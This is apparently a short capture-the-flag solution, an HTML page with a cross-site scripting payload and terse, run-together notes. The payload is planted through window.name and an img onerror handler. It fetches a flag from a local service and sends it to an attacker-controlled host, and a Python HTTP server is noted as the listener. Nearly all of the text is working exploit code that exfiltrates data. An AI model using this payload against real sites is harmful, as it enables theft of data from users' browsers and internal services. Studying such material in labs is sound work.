

index.html
<html>
<script id='payload'>
base_addr = 'http://YOUR_KALI_IP:8000';
fetch('http://127.0.0.1:5000/flag')
.then((response) => response.text())
.then(
(text) =>
fetch(base_addr + '/flagleak?data=' + encodeURIComponent(text), {
'mode': 'no-cors'
})
);
</script>
<script id='starter'>
payload = document.getElementById('payload').innerHTML;
window.name = '<img src="http://192.168.228.253" onerror="'+payload+'">';
</script>
</html>
window.name property to something that doesn’t exist.
window.name is a global persistent property that can be set for any web browser.onerror attribute of the <img src tag to trigger javascriptflagleak?SOME-FLAGpython3 -m http.server


